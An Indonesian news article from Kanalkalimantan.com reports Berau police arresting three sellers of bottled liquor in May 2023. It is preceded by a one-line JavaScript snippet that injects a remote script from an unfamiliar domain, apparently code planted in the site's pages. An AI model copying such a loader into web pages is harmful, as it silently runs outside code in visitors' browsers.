(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, TANJUNG REDEB – Satuan Reserse Kriminal (Satreskrim) Polres Berau menangkap penjual minuman keras (miras) di jalan Harm Ayoeb Km 5 Kelurahan Rinding, Kecamatan Teluk Bayur, Kabupaten Berau, pada Selasa (23/5/2023).
Kapolres Berau AKBP Sindhu Brahmarya melalui Kasat Reskrim Iptu Ardian Rahayu Priatna mengatakan pelaku berinisial RT (31) berawal dari pengaduan masyarakat melalui hotline Kapolda Kaltim dan Kapolres Berau.
“Ada aduan dari masyarakat melalui nomor pengaduan Kapolda Kaltim dan Kapolres Berau. Kemudian diteruskan kepada kami. Setelah itu, langsung kami tindaklanjuti,†ungkap Kasat Reskrim Iptu Ardian Rahayu Priatna, Kamis (25/5/2023).
Laporan itu mengatakan ada dugaan penjualan miras di sekitar Km 5 Jalan Harm Ayoeb Kelurahan Rinding. Setelah sisir lokasi didapat warung yang diduga menjual miras.
Baca juga:Â 10 Warga Tak Mampu Terima Program Bedah Rumah Polda Kalsel
“Saat kami lakukan penggeledahan di warung milik RT, didapati 47 botol miras pabrikan berbagai merk yang disimpan pelaku,†bebernya.
Kemudian polisi melakukan pengembangan. Satreskrim Polres Berau mengamankan seorang penjual miras berinisial AR (20) di Km 5 jalan Harm Ayoeb Kelurahan Rinding.
“Kami mendapat 24 botol miras pabrikan,†ungkapnya.
Polisi juga mengamankan WA (31) di jalan Raja Alam 1, Kelurahan Rinding, Kecamatan Teluk Bayur. Sebanyak 36 botol miras pabrikan berbagai merk disita.
Saat ini, para pelaku beserta barang bukti telah dibawa ke Mapolres Berau untuk diproses lebih lanjut.
Baca juga:Â HUT ke-13 Pandawa Centre Syukuran Libatkan UMKM dan PKL
Iptu Ardian mengimbau kepada masyarakat untuk tidak mengonsumsi minuman keras. Sebab bisa memberikan dampak negatif bagi kesehatan. Selain itu, juga dapat mengganggu keamanan.
“Dalam kondisi tidak sadar akibat pengaruh alkohol, kita dapat melakukan hal-hal yang tidak kita sadari. Termasuk melakukan kejahatan. Sehingga mengonsumsi miras menjadi dampak buruk bagi diri sendiri dan orang lain,†pungkasnya. (Kanalkalimantan.com/ads)
Reporter: ads
Editor: kk
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.